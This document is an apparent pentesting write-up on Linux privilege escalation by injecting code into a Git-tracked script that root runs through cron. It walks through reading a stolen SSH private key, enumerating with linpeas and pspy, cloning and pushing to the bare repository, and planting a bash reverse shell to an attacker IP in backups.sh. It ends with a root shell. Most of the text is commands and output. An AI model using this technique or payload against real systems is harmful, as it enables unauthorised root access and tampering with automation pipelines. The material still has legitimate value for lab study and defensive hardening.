Git Script Injection

This privilege escalation technique exploits a cron-scheduled script maintained in a Git repository. Instead of modifying the script file directly, which may not be writable or may be tracked centrally, the attacker leverages Git operations to inject malicious code. If a cronjob executes a script from a local Git clone, and that clone regularly pulls from a bare Git repository, it is possible to modify the script via Git (clone → commit → push). Once the root-owned clone fetches and executes the updated content, the payload runs with elevated privileges. This method is particularly effective in DevOps-style environments where Git is used as part of automation pipelines.

[bob@server home]$ cat git/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3B...<SNIP>...aXQ=
-----END OPENSSH PRIVATE KEY-----

[bob@server tmp]$ ./linpeas.sh
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 66 Jan 15  2021 /etc/crontab.bak

[bob@server tmp]$ cat /etc/crontab.bak
*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh

The objective is to gain root access by injecting a reverse shell into a script (backups.sh) that is executed by root on a schedule. Since this script is maintained in a Git repository, the attack leverages Git operations to propagate the malicious change. The script located at /root/git-server/backups.sh is executed by root every three minutes, while /root/pull.sh runs every two minutes.

[bob@server tmp]$ ./pspy64
2025/08/04 16:02:01 CMD: UID=0     PID=17170  | /bin/sh -c /root/pull.sh
2025/08/04 16:02:01 CMD: UID=0     PID=17171  | git pull
2025/08/04 16:03:01 CMD: UID=0     PID=17191  | /bin/sh -c /root/git-server/backups.sh

The output from pspy shows that /root/pull.sh is simply running git pull every two minutes inside /root/git-server/, and then every three minutes the script backups.sh in that same directory is executed by root. This establishes a Git-based automation flow:

  • /git-server/ is a bare Git repository. A bare repository contains only Git metadata (commits, trees, objects) and does not have a working copy of files like scripts or code. It serves as the equivalent of a remote Git server (e.g., GitHub) and is not directly editable.

  • /root/git-server/ is a Git clone of the bare repository — a working copy where files like backups.sh exist on disk. The root user regularly pulls updates into this working copy via cron.

Therefore, any updates pushed to the bare repository at /git-server/ will be fetched into /root/git-server/ by the root cron job. Since /git-server/ cannot be edited directly (being bare), a writable clone must be created. This is done from the user-writable /tmp directory:

[bob@server tmp]$ git clone file:///git-server
[bob@server tmp]$ cd git-server/

After cloning, the repository contains the current version of backups.sh, which is just a placeholder:

[bob@server git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#

Once it's confirmed that /git-server/ is a bare Git repository used by the root cron job, the attacker must interact with it from their own machine. Since direct write access to /git-server/ is not available externally, a remote Git clone is performed over SSH. The Git server is listening on a non-default port (43022), and a private SSH key (id_rsa) has been obtained during enumeration. Using this key, the repository is cloned remotely from the attacker's machine:

# Clone remote Git server using Git SSH key
$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@server:/git-server

This creates a working copy on the attacker’s machine, where real files like backups.sh can be edited. Git user identity is configured:

# Configure Git identity
$ git config --global user.name "x7331"
$ git config --global user.email "x7331@kali.(none)"

To escalate privileges, the backups.sh file is modified to include a reverse shell payload. The payload connects back to the attacker's IP over TCP:

# Add reverse shell payload to the script
$ nano backups.sh
$ cat backups.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.45.170/12445 0>&1

# Assign execute permissions to the file
$ chmod +x backups.sh

Changes are staged and committed:

# Stage and commit the changes
$ git add backups.sh
$ git commit -m "reverse_shell"

The repository is pushed back using:

# Push the updated code
$ GIT_SSH_COMMAND='ssh -i ../id_rsa -p 43022' git push origin master

At this point, the updated backups.sh containing the reverse shell has been committed and successfully pushed to /git-server/. Within two minutes, the root cron job running pull.sh will pull this change into /root/git-server/. Within three minutes, the root cron job running backups.sh will execute it.

# Start listener to catch reverse shell
$ sudo penelope -p 12445

[root@server ~]# id
uid=0(root) gid=0(root) groups=0(root)

Last updated

Was this helpful?